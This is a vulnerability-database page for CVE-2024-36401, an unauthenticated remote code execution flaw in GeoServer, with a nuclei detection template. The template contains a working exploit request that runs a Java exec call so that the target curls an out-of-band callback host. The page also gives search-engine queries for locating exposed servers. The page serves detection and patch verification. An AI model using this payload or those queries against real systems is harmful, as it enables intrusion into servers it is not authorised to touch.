Browse / CVEs / CVE-2024-36401
CVE-2024-36401· osgeo / geoserver
GeoServer RCE in Evaluating Property Name Expressions
Exploited in the wild. Listed by CISA on 2024-07-15; known to be used by ransomware.
criticalseverity
99.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
Impact
This vulnerability can lead to executing arbitrary code.
Fix
Apply the latest security patches and updates from the vendor to address this vulnerability.
How to confirm it
Send: GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage
Send: @timeout 20s
Positive when: contains in interactsh_protocol "dns" AND contains in content_type "application/xml"Run it with nuclei: nuclei -id CVE-2024-36401 -u <target>
The full check
id: CVE-2024-36401
info:
name: GeoServer RCE in Evaluating Property Name Expressions
author: DhiyaneshDk,ryanborum
severity: critical
description: |
In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
This vulnerability can lead to executing arbitrary code.
reference:
- https://x.com/sirifu4k1/status/1808270303275241607
- https://nvd.nist.gov/vuln/detail/CVE-2024-36401
- https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
- https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
classification:
epss-score: 0.99813
epss-percentile: 0.99959
metadata:
verified: true
max-request: 1
vendor: osgeo
product: geoserver
shodan-query: "Server: GeoHttpServer"
fofa-query:
- title="geoserver"
- app="geoserver"
google-query: intitle:"geoserver"
tags: cve,cve2024,geoserver,rce,unauth,kev,vkev,vuln
flow: |
if(http(1))
{
set("name",template.typename[0])
http(2)
}
http:
- raw:
- |
GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
Host: {{Hostname}}
host-redirects: true
extractors:
- type: regex
name: typename
part: body
group: 1
regex:
- typeName=([^&\]]+)
internal: true
- raw:
- |
@timeout 20s
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: content_type
words:
- "application/xml"References
- https://x.com/sirifu4k1/status/1808270303275241607
- https://nvd.nist.gov/vuln/detail/CVE-2024-36401
- https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
- https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
Use this check only on systems you are authorised to test. Where the data comes from